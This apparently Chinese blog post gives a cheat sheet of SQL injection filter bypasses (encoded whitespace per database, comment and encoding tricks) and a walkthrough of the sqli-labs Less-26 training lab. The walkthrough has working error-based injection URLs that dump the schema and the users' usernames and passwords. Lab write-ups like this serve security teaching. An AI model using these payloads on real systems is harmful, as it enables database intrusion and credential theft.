空格绕过
过滤空格
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 //()
 绕过空格注释符绕过//–%20//#–±- -;%00;
空白字符绕过SQLite3 —— 0A,0D,0c,09,20
 MYSQL
 09,0A,0B,0B,0D,A0,20
 PosgressSQL
 0A,0D,0C,09,20
 Oracle_11g
 00,0A,0D,0C,09,20
 MSSQL
 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
 特殊符号绕过
 ` + !
 等科学计数法绕过
 例:
 select user,password from users where user_id0e1union select 1,2
 unicode编码
 %u0020 %uff00
 %c0%20 %c0%a0 %e0%80%a0
sqli-labs less-26
l
来到less-26,从下面的提示不难猜测本关卡为绕过,首先输入的单引号,确定闭合方式为'单引号,
继续测试,发现注释符被过滤,构造
http://192.168.140.130/sq/Less-26/?id=1’ and ‘1’='1
发现and/or也被过滤,构造
http://192.168.140.130/sq/Less-26/?id=1’ aandnd ‘1’='1

 此时,我们发现我们的的空格也被过滤了。
 本来打算进行空格绕过的,但在不通的环境下,url编码绕过可能出现的情况不一样,且因为我没有在linux环境下搭建sqli-labs靶场,在我的靶场搭建在windows下的小皮面板上,使用空格编码绕过发现无效,使用我使用报错注入结合()来绕过空格。
绕过
数据库名
http://192.168.140.130/sq/Less-26/?id=1’
||1=extractvalue(1,concat(‘~’,(select (database()))))||‘1’='1
表名
http://192.168.140.130/sq/Less-26/?id=1’
||1=extractvalue(1,concat(‘~’,(select (group_concat(table_name))from(infoorrmation_schema.tables)where((table_schema=database())) )))||‘1’='1
列名
http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(column_name))from(
infoorrmation_schema.columns)where((table_schema=database()%26%26(table_name=‘users’))) )))|| ‘1’='1
数据
http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,substring((select(group_concat(username,‘~’,
passwoorrd))from(security.users)),30,30))|| ‘1’='1
用控制()的方法实现了对空格的绕过,当然还有其他很多方法,不同的环境绕过方式也不一样,勇于尝试。

![Servlet[springmvc]的Servlet.init()引发异常](https://i-blog.csdnimg.cn/direct/1e69e9a5f2704fa79c22356498f346fc.png)











![[Linux] 软硬链接](https://i-blog.csdnimg.cn/direct/fdef4a3f84ba41d083c4c28a295b7beb.png)





